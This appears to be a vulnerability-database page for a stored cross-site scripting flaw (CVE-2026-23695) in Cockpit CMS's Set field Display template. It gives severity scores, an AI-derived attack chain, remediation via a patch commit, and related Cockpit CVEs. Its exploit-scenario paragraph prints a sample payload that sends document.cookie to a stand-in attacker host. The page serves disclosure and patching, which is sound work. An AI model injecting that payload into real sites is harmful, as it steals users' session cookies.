Skip to main content

Cockpit CMS CVE-2026-23695

| EUVDEUVD-2026-30556 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-15 VulnCheck GHSA-ch4j-vcf5-58x5
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate with content editor privileges
  2. Delivery
    Access collection field settings
  3. Exploit
    Inject malicious JavaScript in Set field Display template
  4. Install
    Save configuration
  5. C2
    Victim user views collection items list
  6. Execute
    Browser executes stored XSS payload
  7. Impact
    Exfiltrate session tokens or perform actions as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires authenticated access with content/:models/manage permission, which is typically granted to content editors and administrators in Cockpit CMS but not to anonymous or read-only users. Attacker must have privileges to create or modify collection field configurations, specifically the Set field type's Display template option. Exploitation is NOT limited to non-default configurations - the vulnerable Display template feature is a standard Set field option in affected versions. Attack complexity is low (AC:L) as no race conditions or cryptographic bypasses are required. User interaction is required (UI:P) but is unavoidable in normal workflow: any user viewing the collection items list triggers the stored payload. Limiting factors: Cross-site exploitation scope (S:X in CVSS 4.0) means the attacker's authenticated session cannot directly compromise the CMS server backend, only other users' browser sessions. Impact is bounded by browser same-origin policy protections and any CSP headers present.

Impact

Moderate real-world risk despite low CVSS 5.1 score. The CVSS:4.0 vector (AV:N/AC:L/PR:L/UI:P) indicates network-exploitable with low complexity but requires authenticated low-privilege access and user interaction. CVSS Supplemental Metrics show Subsequent System impact only (SC:L/SI:L, no SA:N), meaning exploitation scope is limited to other users' browser sessions, not the server. Critical risk factors: (1) Privilege requirement is content/:models/manage, a common permission for content editors in CMSs, expanding the attacker pool beyond just admins. (2) User interaction is unavoidable - viewing the collection items list is normal workflow, not a suspicious link click. (3) Stored nature means persistent exploitation without repeated injection. Mitigating factors: No CISA KEV listing indicates not currently targeted in mass exploitation. Publicly available exploit code exists (VulnCheck advisory with detailed technical analysis). EPSS data not provided, but stored XSS in content management features historically sees moderate exploitation due to ease of social engineering attacks on authenticated users. Priority: Medium-High for multi-user Cockpit CMS installations, Low for single-admin or dev-only instances.

Exploit ScenarioDerived

A content editor with content/:models/manage permission logs into Cockpit CMS and navigates to a collection's field configuration. They edit a Set field type's Display template option and inject malicious JavaScript such as <img src=x onerror='fetch("https://attacker.com?c="+document.cookie)'> wrapped in template syntax that bypasses basic validation. When any user (admin or editor) views the collection items list, the injected script executes in their browser context, exfiltrating session cookies or authentication tokens to the attacker's server. The attacker uses stolen credentials to escalate privileges or access sensitive content management functions. VulnCheck advisory confirms detailed exploitation methodology exists.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 15, 2026

Stored cross-site scripting in Cockpit CMS 2.14.0 and earlier allows authenticated users with content/:models/manage permission to inject arbitrary JavaScript through the Set field type's Display template option. The vulnerability exploits unsafe template rendering via new Function() and Vue's v-html directive without sanitization, executing injected code in the browsers of all users viewing the collection items list. Vendor-released patch available via commit 72a83fc replaces Function-based evaluation with sandboxed JSLite execution.

RemediationAI

Upgrade to Cockpit CMS post-2.14.0 versions incorporating commit 72a83fc or later from the main branch at https://github.com/Cockpit-HQ/Cockpit/commit/72a83fcfe85ad8330e9ae834bc02fa517b5749e9. The patch replaces Function-based template interpolation with sandboxed JSLite execution, eliminating the code injection vector while maintaining display template functionality. If immediate patching is not feasible, implement strict role-based access control to restrict content/:models/manage permission to only highly trusted administrators, reducing the attacker pool. As a compensating control, audit existing Set field Display templates for suspicious JavaScript patterns and sanitize or remove them, though this does not prevent future injection. Consider implementing Content Security Policy (CSP) headers to restrict inline script execution, which may limit XSS payload effectiveness but could also break legitimate Cockpit CMS frontend functionality and requires thorough testing. Review application logs for unexpected changes to Set field configurations as potential indicators of exploitation attempts.

Affected VersionsENISA

cockpit patch: 72a83fcfe85ad8330e9ae834bc02fa517b5749e9
cockpit patch: 72a83fcfe85ad8330e9ae834bc02fa517b5749e9
cockpit 0 ≤2.14.0
cockpit 0 ≤2.14.0

Affected Packages

composer cockpit-hq/cockpit no fix
euvd cockpit no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Cockpit CMS (cpe:2.3:a:cockpit-hq:cockpit) is a headless CMS built on PHP with Vue.js frontend components. The vulnerability exists in the Set field type's Display template feature, which processes user-supplied template strings through App.utils.$interpolate using JavaScript's new Function() constructor for dynamic code generation, then renders the result via Vue's v-html directive. This pattern (CWE-79: Improper Neutralization of Input During Web Page Generation) creates a classic stored XSS vector where template syntax becomes executable JavaScript. The patch commit replaces the Function-based interpolation with sandboxed JSLite execution to eliminate arbitrary code execution while preserving legitimate template behavior.

Know when Cockpit gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck) · only source for this CVE.

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
May 15, 2026 - 17:22 NVD
5.4 (MEDIUM) 5.1 (MEDIUM)

DescriptionCVE.org

Cockpit CMS through version 2.14.0, patched in commit 72a83fc, contains a stored cross-site scripting vulnerability in the Set field type's Display template option, where the template string is processed by the $interpolate function using new Function() and rendered via Vue's v-html directive without sanitization. An attacker with content/:models/manage permission can inject arbitrary JavaScript into the Display template, which executes in the browser of any user viewing the collection items list.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2020-35847 CRITICAL POC
9.8 Dec 30

Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function. Rated critical

CVE-2020-35846 CRITICAL POC
9.8 Dec 30

Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function. Rated critical severit

CVE-2022-2713 CRITICAL POC
9.8 Aug 08

Insufficient Session Expiration in GitHub repository cockpit-hq/cockpit prior to 2.2.0. Rated critical severity (CVSS 9.

CVE-2020-35848 CRITICAL POC
9.8 Dec 30

Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php newpassword function. Rated critical s

CVE-2018-15540 CRITICAL POC
9.8 Oct 15

Agentejo Cockpit performs actions on files without appropriate validation and therefore allows an attacker to traverse t

CVE-2018-9302 CRITICAL POC
9.1 May 02

SSRF (Server Side Request Forgery) in /assets/lib/fuc.js.php in Cockpit 0.4.4 through 0.5.5 allows remote attackers to r

CVE-2023-4195 HIGH POC
8.8 Aug 06

PHP Remote File Inclusion in GitHub repository cockpit-hq/cockpit prior to 2.6.3. Rated high severity (CVSS 8.8), this v

CVE-2023-37650 HIGH POC
8.8 Jul 20

A Cross-Site Request Forgery (CSRF) in the Admin portal of Cockpit CMS v2.5.2 allows attackers to execute arbitrary Admi

CVE-2023-1313 HIGH POC
8.8 Mar 10

Unrestricted Upload of File with Dangerous Type in GitHub repository cockpit-hq/cockpit prior to 2.4.1. Rated high sever

CVE-2023-0759 HIGH POC
8.8 Feb 09

Privilege Chaining in GitHub repository cockpit-hq/cockpit prior to 2.3.8. Rated high severity (CVSS 8.8), this vulnerab

CVE-2022-2818 HIGH POC
8.8 Aug 15

Improper Removal of Sensitive Information Before Storage or Transfer in GitHub repository cockpit-hq/cockpit prior to 2.

CVE-2026-34965 HIGH POC
8.7 Apr 29

Authenticated remote code execution in Cockpit CMS lets attackers holding collection-management privileges inject arbitr

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy